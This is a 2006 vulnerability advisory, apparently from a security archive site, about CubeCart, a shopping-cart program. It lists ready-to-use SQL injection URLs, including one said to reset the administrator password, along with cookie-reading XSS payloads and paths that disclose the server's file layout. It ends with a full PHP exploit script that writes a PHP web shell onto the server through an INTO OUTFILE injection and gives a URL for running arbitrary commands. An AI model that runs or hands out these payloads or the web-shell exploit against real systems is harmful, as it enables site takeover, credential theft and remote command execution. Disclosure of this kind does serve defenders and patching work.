CubeCart Multiple input Validation vulnerabilities

2006.10.03
Credit: HACKERS PAL
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

Hello,, CubeCart Multiple input Validation vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : security (at) soqor (dot) net [email concealed] Sql injection admin/forgot_pass.php?submit=1&user_name=-1'or%201=1/* it will reset the password for the administrator -- admin/forgot_pass.php?submit=1&user_name=-1'%20union%20select%201,2,3,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ,31,32,33,34,35,36,37,38,39,40,41,42/* -- view_order.php?order_id='%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/* -- view_doc.php?view_doc=-1'%20union%20select%201,2/* -- admin/print_order.php?order_id='%20union%20select%201,2,3,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/* /***************************************/ xss admin/print_order.php?order_id=<script>alert(document.cookie);</script> -- view_order.php?order_id=<script>alert(document.cookie);</script> -- admin/nav.php?site_url="><script>alert(document.cookie);</script><noscri pt> admin/nav.php?la_search_home=<script>alert(document.cookie);</script> and language variables for this file .. -- admin/image.php?image=<script>alert(document.cookie);</script> -- admin/header.inc.php?site_name=</title><script>alert(document.cookie);</ script> admin/header.inc.php?la_adm_header=</title><script>alert(document.cookie );</script> admin/header.inc.php?charset='><script>alert(document.cookie);</script> and all other variables in this file -- footer.inc.php?la_pow_by=<script>alert(document.cookie);</script> -- header.inc.php?site_name=</title><script>alert(document.cookie);</script > and all other variables in the file. -- /***************************************/ Full path information.php language.php link_navi.php?cat_id=1 list_docs.php popular_prod.php sale.php check_sum.php spotlight.php cat_navi.php /***************************************/ Exploit :- #!/usr/bin/php -q -d short_open_tag=on <? /* /* CubeCart Remote sql injection exploit /* By : HACKERS PAL /* WwW.SoQoR.NeT /* /* Tested on CubeCart 2.0.X and maybe other versions are injected */ print_r(' /**********************************************/ /* CubeCart Remote sql injection exploit */ /* by HACKERS PAL <security (at) soqor (dot) net [email concealed]> */ /* site: http://www.soqor.net */'); if ($argc<2) { print_r(' /* -- */ /* Usage: php '.$argv[0].' host /* Example: */ /* php '.$argv[0].' http://localhost/CubeCart/ /**********************************************/ '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); $url=$argv[1]; $exploit1="/cat_navi.php"; Function get_page($url) { if(function_exists("file_get_contents")) { $contents = file_get_contents($url); } else { $fp=fopen("$url","r"); while($line=fread($fp,1024)) { $contents=$contents.$line; } } return $contents; } $page = get_page($url.$exploit1); $pa=explode("<b>",$page); $pa=explode("</b>",$pa[2]); $path = str_replace("cat_navi.php","",$pa[0])."soqor.php"; $var=' '; $var = str_replace(" ","",$var); $path = str_replace($var,"/",$path); $exploit2="/view_doc.php?view_doc=-1'%20union%20select%20'<?php%20system (".'$_GET[cmd]'.");%20?>','WwW.SoQoR.NeT'%20INTO%20OUTFILE%20'$path'%20f rom%20store_docs/*"; $page_now = get_page($url.$exploit2); if(ereg("mysql_fetch_array()",$page_now)) { $newurl=$url."/soqor.php?cmd=id"; Echo "n[+] Go TO ".str_replace("//","/",$newurl)."n[+] Change id to any command you want :)"; } else { Echo "n[-] Exploit Faild"; } Die("n/* Visit us : WwW.SoQoR.NeT */n/**********************************************/"); ?> #WwW.SoQoR.NeT


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top